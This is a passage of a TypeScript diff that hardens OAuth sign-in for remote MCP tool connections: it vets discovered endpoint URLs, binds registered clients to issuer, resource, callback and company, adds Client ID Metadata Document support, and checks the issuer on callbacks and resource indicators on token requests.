oauth.clientId.trim() : null; if (!clientId) return configured; - const clientSecretRef = oauth.clientRegistrationSource === "dcr" + // Only a client the operator preregistered can have a secret worth sending. + // DCR and CIMD clients are public (`token_endpoint_auth_method: none`), so + // resolving a secret for them would leak a credential onto the wire. + const registrationSource = oauth.clientRegistrationSource; + const clientSecretRef = registrationSource === "dcr" || registrationSource === "cimd" ? undefined : connection.credentialSecretRefs.find((ref) => ref.configPath === "oauth.client_secret"); const clientSecret = clientSecretRef @@ -3927,47 +5096,82 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } } - async function authServerMetadataUrls(metadata: Record): Promise { - const urls: string[] = []; + /** + * Candidate authorization-server metadata URLs advertised by protected-resource + * metadata, paired with the issuer that advertised them so the caller can bind + * the resulting client material to a canonical issuer. + */ + function authServerMetadataUrls(metadata: Record): Array<{ issuer: string; metadataUrl: string }> { + const candidates: Array<{ issuer: string; metadataUrl: string }> = []; + const issuers: string[] = []; if (Array.isArray(metadata.authorization_servers)) { for (const server of metadata.authorization_servers) { - if (typeof server === "string" && server.trim()) { - try { - urls.push(new URL("/.well-known/oauth-authorization-server", server).toString()); - } catch { - // Ignore malformed advertised issuers. The caller will fail if no usable endpoints remain. - } - } + if (typeof server === "string" && server.trim()) issuers.push(server.trim()); } } - if (typeof metadata.issuer === "string" && metadata.issuer.trim()) { - try { - urls.push(new URL("/.well-known/oauth-authorization-server", metadata.issuer).toString()); - } catch { - // Ignore malformed advertised issuers. + if (typeof metadata.issuer === "string" && metadata.issuer.trim()) issuers.push(metadata.issuer.trim()); + for (const issuer of [...new Set(issuers)]) { + for (const metadataUrl of wellKnownMetadataUrls(issuer)) { + candidates.push({ issuer, metadataUrl }); } } - return [...new Set(urls)]; + const seen = new Set(); + return candidates.filter((candidate) => { + if (seen.has(candidate.metadataUrl)) return false; + seen.add(candidate.metadataUrl); + return true; + }); } async function endpointsFromMetadataUrl( connection: typeof toolConnections.$inferSelect, metadataUrl: string, + rejections: HttpError[] = [], + firstPartyOrigin?: string | null, ): Promise { const metadata = await fetchJsonRecord(metadataUrl); if (!metadata) return null; - let authorizationUrl = typeof metadata.authorization_endpoint === "string" ? metadata.authorization_endpoint : null; - let tokenUrl = typeof metadata.token_endpoint === "string" ? metadata.token_endpoint : null; - let registrationUrl = typeof metadata.registration_endpoint === "string" ? metadata.registration_endpoint : null; + // Every endpoint below is a string the remote server chose, so none of them + // is adopted before `safeOAuthEndpointUrl` has vetted its scheme and host. + let authorizationUrl = safeOAuthEndpointUrl("authorization", metadata.authorization_endpoint, rejections, firstPartyOrigin); + let tokenUrl = safeOAuthEndpointUrl("token", metadata.token_endpoint, rejections, firstPartyOrigin); + let registrationUrl = safeOAuthEndpointUrl("registration", metadata.registration_endpoint, rejections, firstPartyOrigin); let scopes = normalizeOauthScopes(metadata.scopes_supported); let codeChallengeMethodsSupported = normalizeOauthScopes(metadata.code_challenge_methods_supported); let tokenEndpointAuthMethodsSupported = normalizeOauthScopes(metadata.token_endpoint_auth_methods_supported); - for (const authMetadataUrl of await authServerMetadataUrls(metadata)) { - const authMetadata = await fetchJsonRecord(authMetadataUrl); + let clientIdMetadataDocumentSupported = metadata.client_id_metadata_document_supported === true; + // A document that carries the authorization endpoint itself *is* the + // authorization-server metadata, so its own `issuer` is the canonical one. + // Otherwise this was protected-resource metadata and the issuer comes from + // whichever advertised authorization server answered. + let issuer = authorizationUrl && typeof metadata.issuer === "string" && metadata.issuer.trim() + ? metadata.issuer.trim() + : null; + const resource = typeof metadata.resource === "string" && metadata.resource.trim() + ? metadata.resource.trim() + : null; + for (const candidate of authServerMetadataUrls(metadata)) { + const authMetadata = await fetchJsonRecord(candidate.metadataUrl); if (!authMetadata) continue; - authorizationUrl = authorizationUrl ?? (typeof authMetadata.authorization_endpoint === "string" ? authMetadata.authorization_endpoint : null); - tokenUrl = tokenUrl ?? (typeof authMetadata.token_endpoint === "string" ? authMetadata.token_endpoint : null); - registrationUrl = registrationUrl ?? (typeof authMetadata.registration_endpoint === "string" ? authMetadata.registration_endpoint : null); + const candidateAuthorizationUrl = safeOAuthEndpointUrl( + "authorization", + authMetadata.authorization_endpoint, + rejections, + firstPartyOrigin, + ); + const candidateTokenUrl = safeOAuthEndpointUrl("token", authMetadata.token_endpoint, rejections, firstPartyOrigin); + if (!candidateAuthorizationUrl && !candidateTokenUrl) continue; + // RFC 8414 §3.3: the metadata document's `issuer` must match the issuer we + // used to build the discovery URL, or the document is not authoritative. + const advertisedIssuer = typeof authMetadata.issuer === "string" && authMetadata.issuer.trim() + ? authMetadata.issuer.trim() + : null; + if (advertisedIssuer && !sameOAuthIssuer(advertisedIssuer, candidate.issuer)) continue; + authorizationUrl = authorizationUrl ?? candidateAuthorizationUrl; + tokenUrl = tokenUrl ?? candidateTokenUrl; + registrationUrl = registrationUrl + ?? safeOAuthEndpointUrl("registration", authMetadata.registration_endpoint, rejections, firstPartyOrigin); + issuer = issuer ?? advertisedIssuer ?? candidate.issuer; if (scopes.length === 0) scopes = normalizeOauthScopes(authMetadata.scopes_supported); if (codeChallengeMethodsSupported.length === 0) { codeChallengeMethodsSupported = normalizeOauthScopes(authMetadata.code_challenge_methods_supported); @@ -3975,6 +5179,9 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (tokenEndpointAuthMethodsSupported.length === 0) { tokenEndpointAuthMethodsSupported = normalizeOauthScopes(authMetadata.token_endpoint_auth_methods_supported); } + if (!clientIdMetadataDocumentSupported) { + clientIdMetadataDocumentSupported = authMetadata.client_id_metadata_document_supported === true; + } if (authorizationUrl && tokenUrl) break; } if (!authorizationUrl || !tokenUrl) return null; @@ -3987,18 +5194,37 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} codeChallengeMethodsSupported, tokenEndpointAuthMethodsSupported, metadataUrl, + issuer, + resource, + clientIdMetadataDocumentSupported, }; } async function discoverOAuthEndpoints( connection: typeof toolConnections.$inferSelect, challenge?: string | null, + firstPartyOrigin?: string | null, ): Promise { const oauth = oauthConfig(connection); const hints = challenge ? challengeOAuthHints(challenge) : null; - const configuredAuthorizationUrl = - typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null; - const configuredTokenUrl = typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null; + // A configured endpoint was pasted by an operator or persisted from an + // earlier discovery, and a hint came straight out of the endpoint's + // `WWW-Authenticate` header. Neither is more trusted than metadata, so both + // go through the same gate; an unusable one is dropped so full metadata + // discovery still runs below. + const rejections: HttpError[] = []; + const configuredAuthorizationUrl = safeOAuthEndpointUrl( + "authorization", + typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null, + rejections, + firstPartyOrigin, + ); + const configuredTokenUrl = safeOAuthEndpointUrl( + "token", + typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null, + rejections, + firstPartyOrigin, + ); const provider = oauthProviderForConnection(connection, typeof oauth.metadataUrl === "string" ? oauth.metadataUrl : hints?.metadataUrl); const scopes = normalizeOauthScopes(oauth.scopes).length > 0 ? normalizeOauthScopes(oauth.scopes) @@ -4008,17 +5234,25 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const grantType = oauth.grantType === "client_credentials" || oauth.clientCredentials === true ? "client_credentials" as const : "authorization_code" as const; + // The resource indicator is the MCP endpoint itself, independent of which + // authorization server ends up serving it. + const configuredResource = typeof oauth.resource === "string" && oauth.resource.trim() + ? oauth.resource.trim() + : canonicalResourceIndicator(remoteEndpoint(connection.config)); if (configuredAuthorizationUrl && configuredTokenUrl) { return { provider, scopes, authorizationUrl: configuredAuthorizationUrl, tokenUrl: configuredTokenUrl, - registrationUrl: typeof oauth.registrationUrl === "string" ? oauth.registrationUrl : null, + registrationUrl: safeOAuthEndpointUrl("registration", oauth.registrationUrl, rejections, firstPartyOrigin), codeChallengeMethodsSupported: normalizeOauthScopes(oauth.codeChallengeMethodsSupported), tokenEndpointAuthMethodsSupported: normalizeOauthScopes(oauth.tokenEndpointAuthMethodsSupported), grantType, metadataUrl: typeof oauth.metadataUrl === "string" ? oauth.metadataUrl : hints?.metadataUrl ?? null, + issuer: typeof oauth.issuer === "string" && oauth.issuer.trim() ? oauth.issuer.trim() : null, + resource: configuredResource, + clientIdMetadataDocumentSupported: oauth.clientIdMetadataDocumentSupported === true, }; } @@ -4028,23 +5262,31 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} ].filter((value): value is string => Boolean(value)); if (metadataCandidates.length === 0) { const endpoint = new URL(await assertRemoteEndpointAllowed(connection.config)); - const protectedResourcePath = endpoint.pathname === "/" - ? "/.well-known/oauth-protected-resource" - : `/.well-known/oauth-protected-resource${endpoint.pathname}`; - metadataCandidates.push(new URL(protectedResourcePath, endpoint.origin).toString()); - metadataCandidates.push(new URL("/.well-known/oauth-protected-resource", endpoint.origin).toString()); - metadataCandidates.push(new URL("/.well-known/oauth-authorization-server", endpoint.origin).toString()); - metadataCandidates.push(new URL("/.well-known/openid-configuration", endpoint.origin).toString()); + metadataCandidates.push(...protectedResourceMetadataUrls(endpoint)); + // The MCP server may double as its own authorization server, in which case + // it serves authorization-server metadata directly at (or under) its path. + metadataCandidates.push(...wellKnownMetadataUrls(endpoint.toString())); } for (const metadataUrl of [...new Set(metadataCandidates)]) { - const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl); - if (endpoints) return { ...endpoints, scopes: scopes.length > 0 ? scopes : endpoints.scopes, grantType }; + const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl, rejections, firstPartyOrigin); + if (endpoints) { + return { + ...endpoints, + scopes: scopes.length > 0 ? scopes : endpoints.scopes, + grantType, + resource: endpoints.resource ?? configuredResource, + }; + } } + // Nothing usable was found *and* something was refused on the way: report the + // refusal rather than the generic "does not advertise OAuth sign in", so the + // operator learns the server offered an unsafe address. + if (rejections.length > 0) throw rejections[0]; return null; } - async function oauthProviderEndpoints(app: AppDefinition): Promise { - const method = connectionMethodFor(app); + async function oauthProviderEndpoints(app: AppDefinition, methodKey?: string | null): Promise { + const method = connectionMethodFor(app, methodKey); if (method.auth !== "oauth") throw unprocessable("This app does not support sign in"); let authorizationUrl = method.defaults?.authorizationEndpoint ?? null; let tokenUrl = method.defaults?.tokenEndpoint ?? null; @@ -4059,7 +5301,17 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (!authorizationUrl || !tokenUrl) { throw unprocessable("OAuth provider endpoints are not configured for this app"); } - return { provider: app.slug, scopes: method.defaults?.scopesHint ?? [], authorizationUrl, tokenUrl, grantType: "authorization_code", metadataUrl }; + // A gallery default is Paperclip's own data, but it is still a URL that ends + // up as a browser navigation, and the metadata branch above reads the same + // untrusted document a generic connection does. Both go through the gate. + return { + provider: app.slug, + scopes: method.defaults?.scopesHint ?? [], + authorizationUrl: assertOAuthEndpointUrl("authorization", authorizationUrl), + tokenUrl: assertOAuthEndpointUrl("token", tokenUrl), + grantType: "authorization_code", + metadataUrl, + }; } async function oauthEndpointsForConnection( @@ -4070,18 +5322,22 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const smokeLabEndpoints = smokeLabOAuthEndpoints(connection, redirectUri); const sourceTemplateKey = typeof connection.config.sourceTemplateKey === "string" ? connection.config.sourceTemplateKey : null; const galleryEntry = sourceTemplateKey ? getConnectableAppDefinition(sourceTemplateKey) : null; - const galleryMethod = galleryEntry ? connectionMethodFor(galleryEntry) : null; + const galleryMethod = galleryEntry ? connectionMethodForConnection(galleryEntry, connection) : null; const hasCompleteGalleryEndpointHints = Boolean( galleryMethod?.defaults?.authorizationEndpoint && galleryMethod.defaults.tokenEndpoint, ); - const discovered = connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints - ? await discoverOAuthEndpoints(connection, challenge) + // The smoke-lab fixture's endpoints are first-party and complete, so + // discovery is not just unnecessary there, it must not run: an unreachable + // fixture endpoint would fail the whole callback. + const firstPartyOrigin = originOf(redirectUri); + const discovered = !smokeLabEndpoints && connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints + ? await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin) : null; const endpoints = smokeLabEndpoints ?? discovered - ?? (galleryEntry && connectionMethodFor(galleryEntry).auth === "oauth" - ? await oauthProviderEndpoints(galleryEntry) - : await discoverOAuthEndpoints(connection, challenge)); + ?? (galleryEntry && galleryMethod?.auth === "oauth" + ? await oauthProviderEndpoints(galleryEntry, galleryMethod.key) + : await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin)); if (!endpoints) throw unprocessable("This app connection does not advertise OAuth sign in"); assertNotSmokeLabOAuthEndpoints(connection, endpoints); return endpoints; @@ -4091,7 +5347,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const sourceTemplateKey = typeof connection.config.sourceTemplateKey === "string" ? connection.config.sourceTemplateKey : null; if (!sourceTemplateKey) throw unprocessable("This app connection was not created from the app gallery"); const galleryEntry = getConnectableAppDefinition(sourceTemplateKey); - if (!galleryEntry || connectionMethodFor(galleryEntry).auth !== "oauth") { + if (!galleryEntry || connectionMethodForConnection(galleryEntry, connection).auth !== "oauth") { throw unprocessable("This app connection does not use sign in"); } return galleryEntry; @@ -4153,6 +5409,33 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} ); } + /** + * Validate RFC 9207 `iss` on the authorization callback. + * + * When an authorization server returns `iss`, it must name the same issuer the + * authorization request was bound to. A mismatch means the code came back from a + * different server than the one we sent the user to — the mix-up attack RFC 9207 + * exists to stop — so the code is refused rather than exchanged. An absent `iss` + * is tolerated: it is optional, and many deployed servers omit it. + */ + function assertOAuthCallbackIssuer( + connection: typeof toolConnections.$inferSelect, + endpoints: OAuthProviderEndpoints, + iss: string | null | undefined, + ) { + const returnedIssuer = typeof iss === "string" ? iss.trim() : ""; + if (!returnedIssuer) return; + const oauth = oauthConfig(connection); + const expectedIssuer = typeof oauth.expectedIssuer === "string" && oauth.expectedIssuer.trim() + ? oauth.expectedIssuer.trim() + : endpoints.issuer ?? null; + if (!expectedIssuer) return; + if (sameOAuthIssuer(returnedIssuer, expectedIssuer)) return; + throw badRequest("Sign-in came back from an unexpected server. Start the connection again.", { + code: "oauth_issuer_mismatch", + }); + } + function invalidOAuthDcrResponse(field: string, reason: string): HttpError { return new HttpError(502, "OAuth provider returned incompatible dynamic client metadata", { code: "oauth_dcr_response_invalid", @@ -4184,19 +5467,23 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} record: Record, field: "redirect_uris" | "grant_types" | "response_types", expected: string[], + options: { allowAdditional?: boolean } = {}, ) { if (record[field] === undefined) throw invalidOAuthDcrResponse(field, "missing"); const value = record[field]; if ( !Array.isArray(value) - || value.length !== expected.length + || value.length < expected.length + || value.length > 32 || value.some((entry) => typeof entry !== "string" || entry.length === 0 || entry.length > 2_048) ) { throw invalidOAuthDcrResponse(field, "invalid_array"); } - const actual = [...value].sort(); - const required = [...expected].sort(); - if (actual.some((entry, index) => entry !== required[index])) { + const actual = new Set(value); + if ( + expected.some((entry) => !actual.has(entry)) + || (!options.allowAdditional && actual.size !== expected.length) + ) { throw invalidOAuthDcrResponse(field, "registered_value_mismatch"); } } @@ -4245,19 +5532,21 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} grant_types: ["authorization_code", "refresh_token"], response_types: ["code"], token_endpoint_auth_method: "none", + // RFC 7591: Paperclip's callback is a server-side HTTPS endpoint, so this + // is a `web` client, not a `native` one. Some authorization servers reject + // an https redirect URI when the default (`web`) is left implicit, and + // others apply native-client redirect rules without it. + application_type: "web", }; - const response = await fetchRemoteHttpUrl(input.endpoints.registrationUrl, { + const response = await fetchRemoteHttpUrl(assertOAuthEndpointUrl("registration", input.endpoints.registrationUrl), { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(requestedMetadata), }); const record = asRecord(await response.json().catch(() => ({})) as unknown); if (!response.ok) { - const providerError = typeof record.error === "string" ? record.error : null; - const message = typeof record.error_description === "string" - ? record.error_description - : "OAuth dynamic client registration failed"; - throw new HttpError(502, message, { + const providerError = normalizeOAuthProviderError(record.error); + throw new HttpError(502, oauthProviderErrorMessage(providerError, "OAuth dynamic client registration failed"), { code: "oauth_dynamic_client_registration_failed", providerError, status: response.status, @@ -4271,7 +5560,12 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} required: false, maxLength: MAX_OAUTH_DCR_CLIENT_SECRET_LENGTH, }); - assertOAuthDcrArray(record, "redirect_uris", requestedMetadata.redirect_uris); + // Some authorization servers add a first-party routing callback to the + // registered redirect set. Paperclip never navigates to that URI, and PKCE + // still binds codes to this client, so accept a bounded superset while + // requiring our exact callback to remain registered. Grants and response + // types stay exact because Paperclip must not adopt unsupported flows. + assertOAuthDcrArray(record, "redirect_uris", requestedMetadata.redirect_uris, { allowAdditional: true }); assertOAuthDcrArray(record, "grant_types", requestedMetadata.grant_types); assertOAuthDcrArray(record, "response_types", requestedMetadata.response_types); if ( @@ -4315,10 +5609,19 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} scopes: input.endpoints.scopes, codeChallengeMethodsSupported: input.endpoints.codeChallengeMethodsSupported ?? [], tokenEndpointAuthMethodsSupported: input.endpoints.tokenEndpointAuthMethodsSupported ?? [], + issuer: input.endpoints.issuer ?? oauth.issuer ?? null, + resource: input.endpoints.resource ?? oauth.resource ?? null, clientId, - clientRegistrationSource: "dcr", + clientRegistrationSource: "dcr" satisfies OAuthClientRegistrationSource, clientTokenEndpointAuthMethod: "none", clientRedirectUri: input.redirectUri, + // Registered client material is only valid for the issuer/resource pair + // it was minted against. `assertOAuthClientBinding` re-registers when any + // of these move, so a re-pointed endpoint can never silently reuse a + // client another authorization server issued. + clientIssuer: input.endpoints.issuer ?? null, + clientResource: input.endpoints.resource ?? null, + clientCompanyId: input.connection.companyId, clientIdIssuedAt, clientSecretExpiresAt, }, @@ -4342,6 +5645,191 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return updated; } + /** + * Adopt a Client ID Metadata Document as this connection's client: the + * `client_id` *is* the https URL of Paperclip's published client metadata, so + * there is nothing to register with the authorization server. Still recorded on + * the connection so the issuer/resource/callback binding is enforced on reuse + * exactly like a dynamically registered client. + */ + async function adoptClientIdMetadataDocument(input: { + connection: typeof toolConnections.$inferSelect; + endpoints: OAuthProviderEndpoints; + redirectUri: string; + clientId: string; + }) { + const oauth = oauthConfig(input.connection); + const nextConfig = { + ...input.connection.config, + oauth: { + ...oauth, + provider: input.endpoints.provider, + authorizationUrl: input.endpoints.authorizationUrl, + tokenUrl: input.endpoints.tokenUrl, + registrationUrl: input.endpoints.registrationUrl ?? null, + metadataUrl: input.endpoints.metadataUrl ?? null, + scopes: input.endpoints.scopes, + codeChallengeMethodsSupported: input.endpoints.codeChallengeMethodsSupported ?? [], + tokenEndpointAuthMethodsSupported: input.endpoints.tokenEndpointAuthMethodsSupported ?? [], + clientIdMetadataDocumentSupported: true, + issuer: input.endpoints.issuer ?? oauth.issuer ?? null, + resource: input.endpoints.resource ?? oauth.resource ?? null, + clientId: input.clientId, + clientRegistrationSource: "cimd" satisfies OAuthClientRegistrationSource, + clientTokenEndpointAuthMethod: "none", + clientRedirectUri: input.redirectUri, + clientIssuer: input.endpoints.issuer ?? null, + clientResource: input.endpoints.resource ?? null, + clientCompanyId: input.connection.companyId, + }, + }; + // A CIMD client has no secret. Drop any leftover one so a stale credential + // from an earlier registration can never be replayed against a new issuer. + const nextCredentialSecretRefs = input.connection.credentialSecretRefs.filter( + (ref) => ref.configPath !== "oauth.client_secret", + ); + const [updated] = await db + .update(toolConnections) + .set({ + authKind: "oauth", + config: nextConfig, + transportConfig: nextConfig, + credentialSecretRefs: nextCredentialSecretRefs, + updatedAt: now(), + }) + .where(and( + eq(toolConnections.id, input.connection.id), + eq(toolConnections.companyId, input.connection.companyId), + )) + .returning(); + if (!updated) throw notFound("Tool connection not found"); + await syncCredentialBindings(updated); + return updated; + } + + /** + * How the client already stored on this connection was obtained. Anything + * unrecognised (including connections written before this field existed) reads + * as `manual`, which is the conservative answer: Paperclip will not silently + * re-register over client material it cannot prove it minted. + */ + function storedOAuthClientRegistrationSource( + connection: typeof toolConnections.$inferSelect, + ): OAuthClientRegistrationSource { + const source = oauthConfig(connection).clientRegistrationSource; + return source === "cimd" || source === "dcr" || source === "preconfigured" ? source : "manual"; + } + + /** + * Is the client material already stored on this connection still valid for the + * authorization server, MCP resource, callback URI and company we are about to + * use it with? Client credentials are minted against exactly one such tuple; + * reusing them across a moved binding would let a re-pointed endpoint borrow + * another server's registration. + */ + function oauthClientBindingMatches( + connection: typeof toolConnections.$inferSelect, + endpoints: OAuthProviderEndpoints, + redirectUri: string, + clientIdMetadataDocumentUrl: string | null, + ): boolean { + const oauth = oauthConfig(connection); + if (typeof oauth.clientId !== "string" || !oauth.clientId.trim()) return false; + const source = typeof oauth.clientRegistrationSource === "string" ? oauth.clientRegistrationSource : null; + // A URL client id that now resolves only to a private network is unusable by + // an external authorization server. Treat the stored binding as stale so a + // retry can replace it with a dynamically registered client. + if (source === "cimd" && oauth.clientId !== clientIdMetadataDocumentUrl) return false; + // A manually preregistered client was registered by the operator against + // Paperclip's callback, so it has no recorded callback until first use. + const redirectMatches = source === "manual" + ? oauth.clientRedirectUri === undefined + || oauth.clientRedirectUri === null + || oauth.clientRedirectUri === redirectUri + : oauth.clientRedirectUri === redirectUri; + if (!redirectMatches) return false; + if (typeof oauth.clientCompanyId === "string" && oauth.clientCompanyId !== connection.companyId) return false; + if ( + endpoints.issuer + && typeof oauth.clientIssuer === "string" + && oauth.clientIssuer + && !sameOAuthIssuer(oauth.clientIssuer, endpoints.issuer) + ) { + return false; + } + if ( + endpoints.resource + && typeof oauth.clientResource === "string" + && oauth.clientResource + && oauth.clientResource !== endpoints.resource + ) { + return false; + } + return true; + } + + /** + * Record the issuer/resource/callback/company a client is bound to, the first + * time that client is actually used. + * + * A dynamically registered or CIMD client is stamped at registration. A client + * the operator pasted in has no binding until now — without this, its + * `clientRedirectUri` would stay unset forever and `oauthClientBindingMatches` + * would keep accepting it for *any* callback, which is exactly the drift the + * binding check exists to catch. + */ + async function stampOAuthClientBinding( + connection: typeof toolConnections.$inferSelect, + endpoints: OAuthProviderEndpoints, + redirectUri: string, + ): Promise { + const oauth = oauthConfig(connection); + const nextBinding = { + clientRedirectUri: redirectUri, + clientIssuer: typeof oauth.clientIssuer === "string" && oauth.clientIssuer + ? oauth.clientIssuer + : endpoints.issuer ?? null, + clientResource: typeof oauth.clientResource === "string" && oauth.clientResource + ? oauth.clientResource + : endpoints.resource ?? null, + clientCompanyId: typeof oauth.clientCompanyId === "string" && oauth.clientCompanyId + ? oauth.clientCompanyId + : connection.companyId, + }; + const unchanged = Object.entries(nextBinding).every(([key, value]) => oauth[key] === value); + if (unchanged) return connection; + const nextConfig = { ...connection.config, oauth: { ...oauth, ...nextBinding } }; + const [updated] = await db + .update(toolConnections) + .set({ config: nextConfig, transportConfig: nextConfig, updatedAt: now() }) + .where(and( + eq(toolConnections.id, connection.id), + eq(toolConnections.companyId, connection.companyId), + )) + .returning(); + return updated ?? connection; + } + + /** + * May Paperclip mint client material for this connection without an operator + * pasting client credentials? + * + * A curated app opts in through its `ownershipModes`. A generic remote MCP + * connection may register once — and only once — protected-resource and + * authorization-server discovery actually produced a metadata document; an + * endpoint that merely returned a 401 does not earn a registration. + */ + function canRegisterOAuthClientDynamically( + connection: typeof toolConnections.$inferSelect, + endpoints: OAuthProviderEndpoints, + galleryEntry: AppDefinition | null, + ): boolean { + if (galleryEntry) { + return connectionMethodForConnection(galleryEntry, connection).ownershipModes.includes("dcr"); + } + return connection.transport === "mcp_remote" && Boolean(endpoints.metadataUrl); + } + async function ensureOAuthClient(input: { connection: typeof toolConnections.$inferSelect; endpoints: OAuthProviderEndpoints; @@ -4349,40 +5837,79 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} galleryEntry: AppDefinition | null; actor?: ActorInfo; }) { + // 1. A client the deployment preconfigured for this issuer wins outright. const configured = configuredOAuthClientForConnection(input.connection, input.endpoints.provider); - if (configured.clientId) return { connection: input.connection, client: configured }; - const oauth = oauthConfig(input.connection); - if ( - typeof oauth.clientId === "string" - && oauth.clientId.trim() - && oauth.clientRedirectUri === input.redirectUri - ) { + if (configured.clientId) { + return { connection: input.connection, client: configured, source: "preconfigured" as const }; + } + const metadataDocumentUrl = input.endpoints.clientIdMetadataDocumentSupported + ? await resolveOAuthClientIdMetadataDocumentUrl(input.redirectUri, options.oauthClientMetadataLookup) + : null; + // 2. Client material already bound to this issuer/resource/callback/company. + if (oauthClientBindingMatches(input.connection, input.endpoints, input.redirectUri, metadataDocumentUrl)) { + const bound = await stampOAuthClientBinding(input.connection, input.endpoints, input.redirectUri); return { - connection: input.connection, - client: await oauthClientForConnection(input.connection, input.endpoints.provider, input.actor), + connection: bound, + client: await oauthClientForConnection(bound, input.endpoints.provider, input.actor), + source: storedOAuthClientRegistrationSource(bound), }; } - const method = input.galleryEntry ? connectionMethodFor(input.galleryEntry) : null; - if (!method?.ownershipModes.includes("dcr")) { - throw unprocessable(`OAuth client id is not configured for ${input.endpoints.provider}`); + const oauth = oauthConfig(input.connection); + if ( + oauth.clientRegistrationSource === "manual" + && typeof oauth.clientId === "string" + && oauth.clientId.trim() + ) { + // Paperclip cannot re-register on the operator's behalf: the credentials + // came from a console this deployment does not control. + throw unprocessable( + "This connection's sign-in details no longer match the server it points at. Re-enter the client ID and secret to continue.", + { code: "oauth_manual_client_rebinding_required" }, + ); + } + if (!canRegisterOAuthClientDynamically(input.connection, input.endpoints, input.galleryEntry)) { + throw unprocessable(`OAuth client id is not configured for ${input.endpoints.provider}`, { + code: "oauth_client_registration_unavailable", + }); } const key = `${input.connection.id}:${input.redirectUri}`; return oauthSingleFlight(oauthRegistrationFlights, key, async () => { const latest = await getConnectionRow(input.connection.id, input.connection.companyId); const latestConfigured = configuredOAuthClientForConnection(latest, input.endpoints.provider); - if (latestConfigured.clientId) return { connection: latest, client: latestConfigured }; - const latestOauth = oauthConfig(latest); - if ( - typeof latestOauth.clientId === "string" - && latestOauth.clientId.trim() - && latestOauth.clientRedirectUri === input.redirectUri - ) { + if (latestConfigured.clientId) { + return { connection: latest, client: latestConfigured, source: "preconfigured" as const }; + } + if (oauthClientBindingMatches(latest, input.endpoints, input.redirectUri, metadataDocumentUrl)) { + const bound = await stampOAuthClientBinding(latest, input.endpoints, input.redirectUri); return { - connection: latest, - client: await oauthClientForConnection(latest, input.endpoints.provider, input.actor), + connection: bound, + client: await oauthClientForConnection(bound, input.endpoints.provider, input.actor), + source: storedOAuthClientRegistrationSource(bound), }; } + // 3. Client ID Metadata Documents: no registration call at all, so prefer + // them over DCR when the authorization server advertises support. + if (metadataDocumentUrl) { + const adopted = await adoptClientIdMetadataDocument({ + connection: latest, + endpoints: input.endpoints, + redirectUri: input.redirectUri, + clientId: metadataDocumentUrl, + }); + return { + connection: adopted, + client: await oauthClientForConnection(adopted, input.endpoints.provider, input.actor), + source: "cimd" as const, + }; + } + // 4. Dynamic client registration. + if (!input.endpoints.registrationUrl) { + throw unprocessable( + "This server needs sign-in details you create yourself. Add a client ID and secret under Advanced authentication.", + { code: "oauth_manual_client_required" }, + ); + } const registered = await registerOAuthClient({ connection: latest, endpoints: input.endpoints, @@ -4392,6 +5919,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return { connection: registered, client: await oauthClientForConnection(registered, input.endpoints.provider, input.actor), + source: "dcr" as const, }; }); } @@ -4406,6 +5934,8 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} codeVerifier?: string | null; code?: string | null; refreshToken?: string | null; + /** RFC 8707 resource indicator: the MCP server this token is for. */ + resource?: string | null; }) { const body = new URLSearchParams(); if (input.grantType === "client_credentials") { @@ -4422,8 +5952,20 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } body.set("client_id", input.clientId); if (input.clientSecret) body.set("client_secret", input.clientSecret); + // RFC 8707: repeat the resource indicator on the token request so the + // authorization server audience-restricts the access token (and any refresh + // exchange) to this MCP server. + if (input.resource) body.set("resource", input.resource); - const response = await fetchRemoteHttpUrl(input.tokenUrl, { + // The token URL can come from a connection row written before the endpoint + // gate existed, so a client secret / authorization code never leaves + // Paperclip without re-checking the transport it would leave over. + const tokenUrl = assertOAuthEndpointUrl("token", input.tokenUrl, { + // Paperclip's own callback origin, so a first-party token endpoint keeps + // working on a deployment that is itself served over plaintext HTTP. + firstPartyOrigin: originOf(input.redirectUri), + }); + const response = await fetchRemoteHttpUrl(tokenUrl, { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded" }, body, @@ -4431,12 +5973,8 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const payload = await response.json().catch(() => ({})) as unknown; const record = asRecord(payload); if (!response.ok || record.ok === false) { - const providerError = typeof record.error === "string" ? record.error : null; - const message = typeof record.error_description === "string" - ? record.error_description - : providerError - ? providerError - : "OAuth token exchange failed"; + const providerError = normalizeOAuthProviderError(record.error); + const message = oauthProviderErrorMessage(providerError, "OAuth token exchange failed"); if (input.grantType === "refresh_token" && providerError === "invalid_grant") { throw new HttpError(422, "OAuth authorization has expired. Reconnect this app to continue.", { code: "oauth_reauthorization_required", @@ -4671,6 +6209,9 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} grantType, scopes: normalizeOauthScopes(oauth.scopes).length > 0 ? normalizeOauthScopes(oauth.scopes) : normalizeOauthScopes(oauth.scope), 